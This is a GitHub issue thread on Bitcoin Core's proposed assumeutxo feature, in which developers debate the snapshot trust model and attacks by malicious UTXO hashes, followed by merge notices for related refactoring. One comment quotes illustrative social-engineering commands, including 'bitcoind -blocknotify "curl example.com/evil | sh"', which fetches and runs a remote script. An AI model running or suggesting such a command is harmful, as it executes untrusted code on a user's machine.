Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

assumeutxo #15605

Open
jamesob opened this issue Mar 15, 2019 · 12 comments

Comments

@jamesob
Copy link
Member

commented Mar 15, 2019

A more detailed proposal can be found here: https://github.com/jamesob/assumeutxo-docs/tree/2019-04-proposal/proposal


I'd like to talk about the desirability of an assumeutxo feature, which would allow much faster node bootstrapping in the spirit of assumevalid. For those unfamiliar with assumeutxo, here's an informal description from one of last year's meetings:

"Assume UTXO" is an idea similar to assumevalid. In assumevalid, you have a hash that is hard-coded into the code, and you assume all the blocks in the chain that ends in that hash, that those transactions have valid scripts. This is an optimization for startup to not have to do script checks if you're willing to believe that the developers were able to properly review and validate up to that point. You could do something similar, where you cache the validity of the particular UTXO set, and it's ACKed by developers before updating the code. Anyone can independently recompute that value. There's some nuanced considerations for this [...]. The downside if you fuck up is bigger. In assumevalid, you can trick someone into thinking the block is valid if it wasn't, and assumeutxo you might be able to create coins or something; there are definitely different failure modes. So there're different security implications here. You could use assumeutxo, but you could go back and double check later. But there's nuance about how this should be done or how. You could have nodes that export this value, [and so one attack might be] you could lie to your friend I guess, but that's less scary than other things.

In other words, assumeutxo would be a way to initialize a node using a headers chain and a serialized version of the UTXO state which was generated from another node at some block height. A client making use of this UTXO "snapshot" would specify a hash and expect the content of the resulting UTXO set to yield this hash after deserialization.

This would allow users to bootstrap a usable pruned node & wallet far more quickly from a ~3GB file (at time of writing) rather than waiting for a full initial block download to complete, since we only have to sync blocks between the base of the snapshot and the current network tip. Needless to say this is at expense of operating under a different trust model (albeit temporarily), though how different this really ends up being from assumevalid in effect is worth debate.

An implementation of assumeutxo could allow background validation of the loaded UTXO snapshot to happen concurrently with use of the assumed chain, so the trust model is only relaxed for a limited amount of time. Conceptually this is pretty straightforward: you'd have two chainstates maintained simultaneously, one of which is doing an IBD from genesis up to the base of the snapshot and the other (i.e. the assumed chain) just doing tip maintenance and servicing immediate requests for chain data. Once the validation chainstate reaches the height of the snapshot base, it computes a hash of the UTXO set it built and compares it to the snapshot's hash. If it matches, we throw the validation chainstate away and continue to operate on the "assumed" (but now fully validated) chain - otherwise we pitch a fit in the logs and GUI, and either revert to the validation chainstate and continue traditional IBD or simply shutdown.

Specifying assumeutxo

The assumeutxo value/height pairings could be committed in much the same way that we currently update assumevalid. Eventually (and this is not a new idea) we could consider using a rolling UTXO set hash or some similar technology to commit to the UTXO set hash in each block header, though this of course ends up being a consensus change. This would obviate the need for any hardcoded assumeutxo value since bootstrapping nodes could obtain the headers chain, choose a UTXO set hash value at some height, and then obtain the correspondent UTXO snapshot from their peers on the basis of that hash.

Obtaining snapshots

Snapshots could be obtained from a variety of sources, whether over the peer network or centralized content distribution networks (CDNs). It doesn't really matter since security is contingent on a content hash, though if assumeutxo ends up being something we actually want to support then I'd imagine we would build a means of distribution through the peer network.

Steps

I've already drafted up an implementation of this that excludes any P2P mechanism for distributing snapshots but makes the changes necessary for loading snapshots and doing concurrent background validation. It exposes two new RPC commands, dumptxoutset and loadtxoutset, to provide a test harness for creating and loading snapshots. Whether or not we'd actually want to commit that RPC interface is something I'd like input on.

Another option is to eschew a loadtxoutset RPC and use a -utxosnapshot=<path> startup parameter.

Afterwards, supposing we get that far, we'll probably want to think about implementing P2P distribution of snapshots, and then maybe starting thinking about a rolling UTXO set hash for potential inclusion in block headers.

Questions

I'm curious for general opinions on this idea and the concrete implementation steps. If this ends up being desirable for the project, it'll require a lot of refactoring and will probably result in a lengthy succession of incremental PRs (a la the process separation effort), though I am of course happy to propose large, cohesive diffs too. :)

Specific questions I have are:

  1. Does the assumeutxo trust model differ materially from assumevalid? If so, how? Is it too aggressive a departure from our existing trust model?
  2. If we agree this is a feature worth supporting, does the sequence of "RPC commands -> hardcoded assumeutxo value, optional use, P2P distribution -> UTXO rolling set hash block header commitment" make sense?
@MarcoFalke

This comment has been minimized.

Copy link
Member

commented Mar 15, 2019

I think this is materially different from -assumevalid, because there are additional safety features built into assumevalid that are not possible (as of now) for assumeutxo: assumevalid must be a block hash in a headers chain that has overall valid POW and is covered in two weeks worth of POW on top of the assumevalid block. Also, all utxo operations (adding and removing coins) before assumevalid must be fully valid except for the script check, which is optionally skipped. So you couldn't create coins out of thin air with assumevalid.
assumeutxo does not have those "belt and suspenders". So if an assumeutxo hash is put into the code base (after review), it must not be possible for a user to simply pass in (either by mistake or consciously) their own hash via command line argument or otherwise.

@luke-jr

This comment has been minimized.

Copy link
Member

commented Mar 15, 2019

Concept NACK, this significantly changes Bitcoin's security model.

@sipa

This comment has been minimized.

Copy link
Member

commented Mar 15, 2019

additional safety features built into assumevalid that are not possible (as of now) for assumeutxo: assumevalid must be a block hash in a headers chain that has overall valid POW and is covered in two weeks worth of POW on top of the assumevalid block.

I don't see why this isn't possible for assumeutxo? You would include the tip block hash in the data hashed for assumeutxo, and the UTXO set you receive would need to include that hash (stating which block it is for). If the resulting hash isn't sufficiently deeply buried in the headers chain, you reject it.

So you couldn't create coins out of thin air with assumevalid.

With assumeutxo you can still have an inflation check (because the total accumulated subsidy is known for each height), so I don't think there is a difference. The only failure an invalid assumeutxo could lead to is incorrectly assigning coins, but the same is possible right now with an invalid assumevalid (which doesn't prevent theft).

@jamesob

This comment has been minimized.

Copy link
Member Author

commented Mar 16, 2019

The only failure an invalid assumeutxo could lead to is incorrectly assigning coins, but the same is possible right now with an invalid assumevalid (which doesn't prevent theft).

I think there's an argument to be made that convincing someone of an incorrect coin assignment is easier in assumeutxo because under assumevalid you'd have to reconstruct a valid series of blocks (with the accompanying PoW) after the bad coin assignment. In assumeutxo, if you can convince someone to accept a malicious hash, all the attacker has to do is serialize their modified set with no concern for alternate PoW construction. You wouldn't find out about this until the background validation process catches up to the block where the incorrect assignment happened.

@MarcoFalke

This comment has been minimized.

Copy link
Member

commented Mar 17, 2019

I don't see why this isn't possible for assumeutxo?

The logic itself is possible to implement in the same fashion, but not the trust model (allowing users to set the hash to an arbitrary one on the command line). With "out of thin air" I meant "without effort" (other than telling the user on my website to set -assumeutxo=myhash and then download myutxoset.dat).
That is solved, if it is absolutely not possible for the user to set the hash.

@harding

This comment has been minimized.

Copy link
Member

commented Apr 8, 2019

With "out of thin air" I meant "without effort" (other than telling the user on my website to set -assumeutxo=myhash and then download myutxoset.dat).

@MarcoFalke but can't the malicious party now just tell the user to wget example.com/evilutxoset.tar.gz && tar xzf evilutxoset.tar.gz? Or, if they wanted to make it look like a bitcoind configuration option, bitcoind -blocknotify "curl example.com/evil | sh".

Maybe it'd be satisfactory to just give the option a name that better hints at the danger of using it with an untrusted source, e.g. -trustedutxo or -balance-snapshot-you-trust.

@MarcoFalke

This comment has been minimized.

Copy link
Member

commented Apr 10, 2019

Indeed they can. Though they might also encourage you to buy backdoored hardware. Generally Bitcoin Core assumes that the underlying architecture (hardware, filesystem, operating system, network sockets, ...) are not tampered with. There is nothing we can do to prevent that.

However, if it comes to Bitcoin Core internals, we should not allow backdoors and footguns. For example allowing users to modify consensus settings on the command line (like block size, the utxo set, ...).

For regtest it could make sense to allow setting this to simplify testing.

@jamesob

This comment has been minimized.

Copy link
Member Author

commented Apr 23, 2019

I've created a draft proposal for assumeutxo here: https://github.com/jamesob/assumeutxo-docs/tree/2019-04-proposal/proposal

If anyone would like to leave inline comments, the associated PR is here: jamesob/assumeutxo-docs#1

@fanquake fanquake added this to To do in Assume UTXO Apr 30, 2019

MarcoFalke added a commit that referenced this issue May 7, 2019

Merge #15948: refactor: rename chainActive
486c1ee refactoring: remove unused chainActive (James O'Beirne)
631940a scripted-diff: replace chainActive -> ::ChainActive() (James O'Beirne)
a3a6090 refactoring: introduce unused ChainActive() (James O'Beirne)
1b6e6fc rename: CChainState.chainActive -> m_chain (James O'Beirne)

Pull request description:

  This is part of the assumeutxo project:

  Parent PR: #15606
  Issue: #15605
  Specification: https://github.com/jamesob/assumeutxo-docs/tree/2019-04-proposal/proposal

  ---

  This change refactors the `chainActive` reference into a `::ChainActive()` call. It also distinguishes `CChainState`'s `CChain` data member as `m_chain` instead of the current `chainActive`, which makes it easily confused with the global data.

  The active chain must be obtained via function because its reference will be swapped at some point during runtime after loading a UTXO snapshot.

  This change, though lengthy, should be pretty easy to review since most of it is contained within a scripted-diff. Once merged, the parent PR should be easier to review.

ACKs for commit 486c1e:
  Sjors:
    utACK 486c1ee
  promag:
    utACK 486c1ee.
  practicalswift:
    utACK 486c1ee

Tree-SHA512: 06ed8f9e77f2d25fc9bea0ba86436d80dbbce90a1e8be23e37ec4eeb26060483e60b4a5c4fba679cb1867f61e3921c24abeb9cabdfb4d0a9b1c4ddd77b17456a

sidhujag pushed a commit to syscoin/syscoin that referenced this issue May 7, 2019

Merge bitcoin#15948: refactor: rename chainActive
486c1ee refactoring: remove unused chainActive (James O'Beirne)
631940a scripted-diff: replace chainActive -> ::ChainActive() (James O'Beirne)
a3a6090 refactoring: introduce unused ChainActive() (James O'Beirne)
1b6e6fc rename: CChainState.chainActive -> m_chain (James O'Beirne)

Pull request description:

  This is part of the assumeutxo project:

  Parent PR: bitcoin#15606
  Issue: bitcoin#15605
  Specification: https://github.com/jamesob/assumeutxo-docs/tree/2019-04-proposal/proposal

  ---

  This change refactors the `chainActive` reference into a `::ChainActive()` call. It also distinguishes `CChainState`'s `CChain` data member as `m_chain` instead of the current `chainActive`, which makes it easily confused with the global data.

  The active chain must be obtained via function because its reference will be swapped at some point during runtime after loading a UTXO snapshot.

  This change, though lengthy, should be pretty easy to review since most of it is contained within a scripted-diff. Once merged, the parent PR should be easier to review.

ACKs for commit 486c1e:
  Sjors:
    utACK 486c1ee
  promag:
    utACK 486c1ee.
  practicalswift:
    utACK 486c1ee

Tree-SHA512: 06ed8f9e77f2d25fc9bea0ba86436d80dbbce90a1e8be23e37ec4eeb26060483e60b4a5c4fba679cb1867f61e3921c24abeb9cabdfb4d0a9b1c4ddd77b17456a

@bitcoin bitcoin deleted a comment from Rockstarrecords11 May 9, 2019

@fresheneesz

This comment has been minimized.

Copy link

commented May 26, 2019

I think James's proposal addresses many of the concerns that have been brought up.

I think its worth noting that the solution to the "one practical security difference" in phase 1 or 2, is not resilient in an adversarial environment. This could be solved by having a client ask all of its connections to verify that the UTXO snapshot is correct, and if any one of its connections says the UTXO set isn't correct, the client would then the client would build the UTXO set from scratch. However, it would be easy for an attacker to force many or even most newly connecting clients to build it from scratch - which defeats the purpose of the upgrade (ie scalability). Assumevalid doesn't have this problems since verifying claims about chain validity is much easier than verifying claims about UTXO set validity. Phase 3 solves the problem in a much nicer way.

So you couldn't create coins out of thin air with assumevalid.
assumeutxo does not have those "belt and suspenders".

Even if we allow the user enter a golden UTXO hash, I believe

if it comes to Bitcoin Core internals, we should not allow backdoors and footguns. For example allowing users to modify consensus settings on the command line

I agree. And so does Pieter Wuille: "allowing [utxo snapshots] to be configured is even more scary (e.g. some website saying "speed up your sync, start with this command line flag!").". If all 3 phases of jamesob's are implemented tho, allowing the user to input a UTXO snapshot would be safe, since the client could efficiently verify the truth of the claim and ignore it if its not true.

laanwj added a commit that referenced this issue Jun 5, 2019

Merge #15976: refactor: move methods under CChainState (pt. 1)
403e677 refactoring: IsInitialBlockDownload -> CChainState (James O'Beirne)
3ccbc37 refactoring: FlushStateToDisk -> CChainState (James O'Beirne)
4d66886 refactoring: introduce ChainstateActive() (James O'Beirne)
d7c97ed move-only: make the CChainState interface public (James O'Beirne)

Pull request description:

  This is part of the [assumeutxo project](https://github.com/bitcoin/bitcoin/projects/11):

  Parent PR: #15606
  Issue: #15605
  Specification: https://github.com/jamesob/assumeutxo-docs/tree/2019-04-proposal/proposal

  ---

  This changeset starts moving functionality intimately related to CChainState into methods. Parameterizing these functions by a particular CChainState is necessary for the use of multiple chainstates simultaneously (e.g. for asynchronous background validation).

  In this change, we
  - make the CChainState interface public - since other units will start to invoke its methods directly,
  - introduce `::ChainstateActive()`, the CChainState equivalent for `::ChainActive()`,
  - and move `IsInitialBlockDownload()` and `FlushStateToDisk()` into methods on CChainState.

  Independent of assumeutxo, these changes better encapsulate chainstate behavior and allow easier use from a testing context.

  There are more methods that we'll move in the future, but they require other substantial changes (i.e. moving ownership of the `CCoinsView*` hierarchy into CChainState) so we'll save them for future PRs.

  ---

  The first move-only commit is most easily reviewed with `git diff ... --color-moved=dimmed_zebra`.

ACKs for commit 403e67:
  Empact:
    utACK 403e677 no need to address my nits herein
  Sjors:
    utACK 403e677
  ryanofsky:
    utACK 403e677. Only change since previous review is removing global state comment as suggested.
  MarcoFalke:
    utACK 403e677, though the diff still seems a bit bloated with some unnecessary changes in the second commit.
  promag:
    utACK 403e677 and rebased with current [master](c7cfd20).

Tree-SHA512: 6fcf260bb2dc201361170c0b4547405366f5f331fcc3a2bac29b24442814b7b244ca1b58aac5af716885f9a130c343b544590dff780da0bf835c7c5b3ccb2257

sidhujag pushed a commit to syscoin/syscoin that referenced this issue Jun 6, 2019

Merge bitcoin#15976: refactor: move methods under CChainState (pt. 1)
403e677 refactoring: IsInitialBlockDownload -> CChainState (James O'Beirne)
3ccbc37 refactoring: FlushStateToDisk -> CChainState (James O'Beirne)
4d66886 refactoring: introduce ChainstateActive() (James O'Beirne)
d7c97ed move-only: make the CChainState interface public (James O'Beirne)

Pull request description:

  This is part of the [assumeutxo project](https://github.com/bitcoin/bitcoin/projects/11):

  Parent PR: bitcoin#15606
  Issue: bitcoin#15605
  Specification: https://github.com/jamesob/assumeutxo-docs/tree/2019-04-proposal/proposal

  ---

  This changeset starts moving functionality intimately related to CChainState into methods. Parameterizing these functions by a particular CChainState is necessary for the use of multiple chainstates simultaneously (e.g. for asynchronous background validation).

  In this change, we
  - make the CChainState interface public - since other units will start to invoke its methods directly,
  - introduce `::ChainstateActive()`, the CChainState equivalent for `::ChainActive()`,
  - and move `IsInitialBlockDownload()` and `FlushStateToDisk()` into methods on CChainState.

  Independent of assumeutxo, these changes better encapsulate chainstate behavior and allow easier use from a testing context.

  There are more methods that we'll move in the future, but they require other substantial changes (i.e. moving ownership of the `CCoinsView*` hierarchy into CChainState) so we'll save them for future PRs.

  ---

  The first move-only commit is most easily reviewed with `git diff ... --color-moved=dimmed_zebra`.

ACKs for commit 403e67:
  Empact:
    utACK bitcoin@403e677 no need to address my nits herein
  Sjors:
    utACK 403e677
  ryanofsky:
    utACK 403e677. Only change since previous review is removing global state comment as suggested.
  MarcoFalke:
    utACK 403e677, though the diff still seems a bit bloated with some unnecessary changes in the second commit.
  promag:
    utACK 403e677 and rebased with current [master](c7cfd20).

Tree-SHA512: 6fcf260bb2dc201361170c0b4547405366f5f331fcc3a2bac29b24442814b7b244ca1b58aac5af716885f9a130c343b544590dff780da0bf835c7c5b3ccb2257
@mandelmonkey

This comment has been minimized.

Copy link

commented Jun 30, 2019

Does assumeutxo offer any benefits that just bootstrapping with BIP 157/158 Neutrino whilst IBD is being performed doesn't? I suppose this is a "cleaner" approach as you are not running and extra client/service but sounds likes anybody wanting to bootstrap say a mobile full node could do so today with a lightclient/fullnode hybrid

@MarcoFalke

This comment has been minimized.

Copy link
Member

commented Jun 30, 2019

Does assumeutxo offer any benefits that just bootstrapping with BIP 157/158 Neutrino whilst IBD is being performed doesn't?

blockfilters provide no means of bootstrapping your utxo set, so that you can start using all full node functionality (block/tx validation, block/tx propagation, ...) at the tip.

@mandelmonkey

This comment has been minimized.

Copy link

commented Jun 30, 2019

Does assumeutxo offer any benefits that just bootstrapping with BIP 157/158 Neutrino whilst IBD is being performed doesn't?

blockfilters provide no means of bootstrapping your utxo set, so that you can start using all full node functionality (block/tx validation, block/tx propagation, ...) at the tip.

thanks I meant that you have a lightclient running along side your fullnode, so you can use your wallet with the lightclient whilst your fullnode is performing IBD, once finished it switches over. assumeutxo is a cleaner option as explained here, but I am thinking in terms of mobile wallets, where having to download X megabytes after being offline for a few days/weeks is slower than using blockfilters to sync.

laanwj added a commit that referenced this issue Jul 16, 2019

Merge #16194: refactor: share blockmetadata with BlockManager
682a1d0 refactoring: remove mapBlockIndex global (James O'Beirne)
55d525a refactoring: make pindexBestInvalid internal to validation.cpp (James O'Beirne)
4ed55df refactoring: add block_index_candidates arg to LoadBlockIndex (James O'Beirne)
613c46f refactoring: move block metadata structures into BlockManager (James O'Beirne)

Pull request description:

  This is part of the [assumeutxo project](https://github.com/bitcoin/bitcoin/projects/11):

  Parent PR: #15606
  Issue: #15605
  Specification: https://github.com/jamesob/assumeutxo-docs/tree/2019-04-proposal/proposal

  ---

  Under an assumeutxo model, we have multiple CChainState instances in use at once in order to support background validation. Currently, each CChainState instance has its own mapBlockIndex, a collection of linked block headers, in addition to a few other data structures that are related to maintenance of the block tree but not necessarily to any given chainstate.

  In order to avoid duplicating this data across chainstates, this change moves chainstate-agnostic block metadata (and related behavior) into a class, `BlockManager`. Chainstates are parameterized with a reference to a blockmanager instance and in practice they share the same instance.

  Most of this change is conceptually move-only, though the diff is somewhat muddled. The first commit can be reviewed slightly more easily with `--color-moved=dimmed_zebra`. Admittedly, that commit is pretty unwieldy; I tried to split it up after the fact with `git add --patch`, but that was difficult because of git's inability to split hunks past a certain point. Some of the moves also ended up being obscured when done over separate commits.

ACKs for top commit:
  MarcoFalke:
    ACK 682a1d0
  ryanofsky:
    utACK 682a1d0, only changes since last review were rebase and fixing conflict on a moved line
  ariard:
    utACK 682a1d0. Most of the changes are move-only, with main problem being to avoid creating circular dependencies between `BlockManager` and `CChainState`. Tested, comments are mostly nits, feel free to ignore them

Tree-SHA512: 738d8d06539ba53acf4bd2d48ae000473e645bbc4e63d798d55d247a4d5a4f781b73538ed590f6407be9ab402ea9d395570ea20bff0a4b9ce747bcc1600c5108

fanquake added a commit that referenced this issue Jul 23, 2019

Merge #16355: refactor: move CCoinsViewErrorCatcher out of init.cpp
4f050b9 move-onlyish: move CCoinsViewErrorCatcher out of init.cpp (James O'Beirne)

Pull request description:

  This is part of the [assumeutxo project](https://github.com/bitcoin/bitcoin/projects/11):

  Parent PR: #15606
  Issue: #15605
  Specification: https://github.com/jamesob/assumeutxo-docs/tree/2019-04-proposal/proposal

  ---

  This change moves `CCoinsViewErrorCatcher` out of `init` and into `coins` so that it can later be included in [a `CoinsView` instance](9128496#diff-349fbb003d5ae550a2e8fa658e475880R504) under `CChainState`.

  Instead of hardcoding read failure behavior that has knowledge of qt, it accepts error callbacks via `AddReadErrCallback()`.

ACKs for top commit:
  dongcarl:
    re-ACK 4f050b9
  ryanofsky:
    utACK 4f050b9. Only change since last review is fixing const.

Tree-SHA512: eaba21606d15d2b8d0e3db7cec57779ce181af953db1ef4af80a0bc1dfb57923d0befde9d61b7be55c32224744f7fb6bd47d4e4c72f3ccfe6eaf0f4ae3765c17

sidhujag pushed a commit to syscoin/syscoin that referenced this issue Jul 29, 2019

Merge bitcoin#16194: refactor: share blockmetadata with BlockManager
682a1d0 refactoring: remove mapBlockIndex global (James O'Beirne)
55d525a refactoring: make pindexBestInvalid internal to validation.cpp (James O'Beirne)
4ed55df refactoring: add block_index_candidates arg to LoadBlockIndex (James O'Beirne)
613c46f refactoring: move block metadata structures into BlockManager (James O'Beirne)

Pull request description:

  This is part of the [assumeutxo project](https://github.com/bitcoin/bitcoin/projects/11):

  Parent PR: bitcoin#15606
  Issue: bitcoin#15605
  Specification: https://github.com/jamesob/assumeutxo-docs/tree/2019-04-proposal/proposal

  ---

  Under an assumeutxo model, we have multiple CChainState instances in use at once in order to support background validation. Currently, each CChainState instance has its own mapBlockIndex, a collection of linked block headers, in addition to a few other data structures that are related to maintenance of the block tree but not necessarily to any given chainstate.

  In order to avoid duplicating this data across chainstates, this change moves chainstate-agnostic block metadata (and related behavior) into a class, `BlockManager`. Chainstates are parameterized with a reference to a blockmanager instance and in practice they share the same instance.

  Most of this change is conceptually move-only, though the diff is somewhat muddled. The first commit can be reviewed slightly more easily with `--color-moved=dimmed_zebra`. Admittedly, that commit is pretty unwieldy; I tried to split it up after the fact with `git add --patch`, but that was difficult because of git's inability to split hunks past a certain point. Some of the moves also ended up being obscured when done over separate commits.

ACKs for top commit:
  MarcoFalke:
    ACK 682a1d0
  ryanofsky:
    utACK 682a1d0, only changes since last review were rebase and fixing conflict on a moved line
  ariard:
    utACK 682a1d0. Most of the changes are move-only, with main problem being to avoid creating circular dependencies between `BlockManager` and `CChainState`. Tested, comments are mostly nits, feel free to ignore them

Tree-SHA512: 738d8d06539ba53acf4bd2d48ae000473e645bbc4e63d798d55d247a4d5a4f781b73538ed590f6407be9ab402ea9d395570ea20bff0a4b9ce747bcc1600c5108

MarcoFalke added a commit that referenced this issue Aug 15, 2019

Merge #16443: refactor: have CCoins* data managed under CChainState
582d2cd Cover UTXO set access with lock annotations (James O'Beirne)
5693530 refactor: have CCoins* data managed under CChainState (James O'Beirne)
fae6ab6 refactor: pcoinsTip -> CChainState::CoinsTip() (James O'Beirne)

Pull request description:

  This is part of the [assumeutxo project](https://github.com/bitcoin/bitcoin/projects/11):

  Parent PR: #15606
  Issue: #15605
  Specification: https://github.com/jamesob/assumeutxo-docs/tree/2019-04-proposal/proposal

  ---

  This change encapsulates UTXO set data within CChainState instances, removing global data `pcoinsTip` and `pcoinsviewdb`. This is necessary if we want to maintain multiple chainstates with their own rendering of the UTXO set.

  We introduce a class CoinsViews which consolidates the construction of a CCoins* hierarchy.

  This commit could be broken into smaller pieces, but it would require more ephemeral diffs to, e.g., temporarily change CCoinsViewDB's constructor invocations.

ACKs for top commit:
  Sjors:
    reACK 582d2cd
  MarcoFalke:
    ACK 582d2cd

Tree-SHA512: ec9d904fe5dca8cd2dc4b7916daa5d8bab30856dd4645987300f905e0a19f9919fce4f9d1ff03eda982943ca73e6e9a746be6cf53b46510de36e8c81a1eafba1
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
8 participants
You can’t perform that action at this time.